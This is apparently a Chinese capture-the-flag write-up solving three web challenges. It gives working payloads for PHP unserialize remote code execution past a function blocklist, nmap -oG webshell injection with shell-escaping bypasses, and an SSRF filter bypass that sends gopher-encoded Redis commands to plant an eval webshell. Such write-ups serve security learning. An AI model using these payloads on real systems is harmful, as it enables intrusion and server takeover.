Web
[朱雀组]phpweb
查看源代码可以发现 form 表单存在注入点,默认执行函数为 date(Y-m-d h:i:s a)
。
Copy < form id = form1 name = form1 action = "index.php" method = post >
< input type = hidden id = func name = func value = 'date' >
< input type = hidden id = p name = p value = 'Y-m-d h:i:s a' >
</ form >
尝试使用 system()
函数直接进行注入,构造 payload func=system&p=cat /flag
发现 system()
函数被过滤了。
尝试通过 file_get_contents()
函数获取 index.php
的内容查看被过滤关键字,构造 payload func=file_get_contents&p=index.php
可以得到。
Copy <? php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime ( $func , $p ) {
$result = call_user_func ( $func , $p ) ;
$a = gettype ( $result ) ;
if ( $a == "string" ) {
return $result;
} else { return "" ;}
}
class Test {
var $p = "Y-m-d h:i:s a" ;
var $func = "date" ;
function __destruct () {
if ( $this -> func != "" ) {
echo gettime ( $this -> func , $this -> p ) ;
}
}
}
$func = $_REQUEST[ "func" ];
$p = $_REQUEST[ "p" ];
if ( $func != null ) {
$func = strtolower ( $func ) ;
if ( ! in_array ( $func , $disable_fun )) {
echo gettime ( $func , $p ) ;
} else {
die ( "Hacker..." ) ;
}
}
?>
分析上述代码可以发现存在类 Test
,并且黑名单中并没有 unserialize()
函数,因此可以尝试通过反序列化来解决,先进行序列化的构造。
Copy <? php
class Test {
var $p = "ls /" ;
var $func = "system" ;
function __destruct () {
if ( $this -> func != "" ) {
echo gettime ( $this -> func , $this -> p ) ;
}
}
}
$a = new Test ();
echo serialize ( $a ) ;
// O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
构造 payload func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
发现 flag
并没有如愿以偿地出现在根目录,因此通过 find
命令与上面同理构造 payload func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
。
排除开系统文件可以发现 /tmp/flagoefiu4r93
文件,通过构造 payload func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
就得到 flag 了。
[朱雀组]Nmap
先随便输入 127.0.0.1
可以得到回显并且发现 Param f=6f859
。
构造 Payload 如下
可以得到报错回显如下
Copy Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/6f858" in /var/www/html/result.php on line 23
可以推断出是 xml 输出的,假设当前表达式为
Copy <? php system ( 'nmap ' . $_POST[ 'host' ] . ' -oX' )
可以通过 -oG
输出到文件中,构造 Payload 如下
Copy host=<?=eval($_POST[1]);?> -oG shell.php
回显 Hacker...
,说明存在一定的过滤,试试改成 phtml
。
构造 Payload 如下
Copy host=<?=eval($_POST[1]);?> -oG shell.phtml
回显 Host maybe down
,说明传入成功,但是并不能访问 shell.phtml
,通过查看源代码才发现还需要进行单引号的绕过(存在 escapeshellarg()
和 escapeshellcmd()
),因此需要修改 Payload 如下
Copy host='<?=eval($_POST[1]);?> -oG shell.phtml '
结尾的空格是为了防止 escapeshellcmd()
函数使得文件名变成 shell.phtml\\
。
通过蚁剑一把梭就可以得到 flag 了。
[玄武组]SSRF Me
题目源码
Copy // index.php
<? php
function check_inner_ip ($url)
{
$match_result = preg_match ( '/ ^ (http|https|gopher|dict)?:\/\/. * (\/)?. *$ /' , $url ) ;
if ( ! $match_result)
{
die ( 'url fomat error' );
}
try
{
$url_parse = parse_url ( $url ) ;
}
catch ( Exception $e)
{
die ( 'url fomat error' );
return false ;
}
$hostname = $url_parse[ 'host' ];
$ip = gethostbyname ( $hostname ) ;
$int_ip = ip2long ( $ip ) ;
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url ($url)
{
if ( check_inner_ip ( $url ) )
{
echo $url . ' is inner ip' ;
}
else
{
$ch = curl_init () ;
curl_setopt ( $ch , CURLOPT_URL , $url ) ;
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 ) ;
curl_setopt ( $ch , CURLOPT_HEADER , 0 ) ;
$output = curl_exec ( $ch ) ;
$result_info = curl_getinfo ( $ch ) ;
if ($result_info[ 'redirect_url' ])
{
safe_request_url ( $result_info[ 'redirect_url' ] ) ;
}
curl_close ( $ch ) ;
var_dump ( $output ) ;
}
}
if ( isset ( $_GET[ 'url' ] ) ){
$url = $_GET[ 'url' ];
if ( ! empty ( $url ) ){
safe_request_url ( $url ) ;
}
}
else {
highlight_file ( __FILE__ ) ;
}
// Please visit hint.php locally.
?>
解题过程
在 safe_request_url 函数中,接受了 URL 参数后调用 check_inner_ip 函数判断是否是内网IP,不是的话才会执行 safe_request_url 函数下方的 curl 。而 check_inner_ip 函数指定 URL 必须为 http://, https://, gopher://, dict://
这几种协议开头,后通过 parse_url 函数进行解析,而这里检测的 IP 段包括 127.0.0, 10.0.0, 172.16.0, 192.168.0
这几个网段。因此这里绕过有两种方式:
第一种方法即是在构造 Payload 时使得该函数无法正常解析 URL,即 http:///
等。第二种方法即是使用 0.0.0.0
来进行绕过。通过构造 Payload 如下
Copy ?url=http:///127.0.0.1/hint.php
即可得到 hint.php 的源码如下
Copy <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
可以得知 Redis 的密码为 root ,开始尝试 Redis SSRF ,先通过在本地抓包构造出 Payload ,再通过 gopher 发送。
Copy $ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379 > auth root
(error) ERR AUTH <password> called without any password configured for the default user. Are you sure your configuration is correct?
127.0.0.1:6379 > config set dir /var/www/html
( error ) ERR CONFIG SET failed (possibly related to argument 'dir' ) - can 't set protected config
127.0.0.1:6379> config set dbfilename webshell.php
(error) ERR CONFIG SET failed (possibly related to argument ' dbfilename ') - can' t set protected config
127.0.0.1:6379 > set -.- "<?php @eval($_POST[1]); ?>"
OK
127.0.0.1:6379 > save
OK
127.0.0.1:6379 >
127.0.0.1:6379 >
127.0.0.1:6379 >
通过 WireShark 抓包(右键->Follow->TCP stream),并过滤掉服务端返回的值并以原始数据显示后即可得到 Payload 。
Copy 2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a
2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431330d0a2f7661722f7777772f68746d6c0d0a
2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a
2a330d0a24330d0a7365740d0a24330d0a2d2e2d0d0a2432360d0a3c3f70687020406576616c28245f504f53545b315d293b203f3e0d0a
2a310d0a24340d0a736176650d0a
通过编写脚本转为 Gopher 协议数据
Copy payload = "2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431330d0a2f7661722f7777772f68746d6c0d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a2a330d0a24330d0a7365740d0a24330d0a2d2e2d0d0a2432360d0a3c3f70687020406576616c28245f504f53545b315d293b203f3e0d0a2a310d0a24340d0a736176650d0a"
for i in range ( 0 , len (payload), 2 ):
print ( "%25" + payload[i:i + 2 ], end = "" )
# %252a%2532%250d%250a%2524%2534%250d%250a%2561%2575%2574%2568%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2532%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%252d%252e%252d%250d%250a%2524%2532%2536%250d%250a%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
通过构造 Payload 如下
Copy ?url=gopher://0.0.0.0:6379/_%252a%2532%250d%250a%2524%2534%250d%250a%2561%2575%2574%2568%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2532%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%252d%252e%252d%250d%250a%2524%2532%2536%250d%250a%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
访问后虽然会显示 504 ,但通过访问 webshell.php
可以发现 Shell 已经成功上传,就可以得到 flag 了。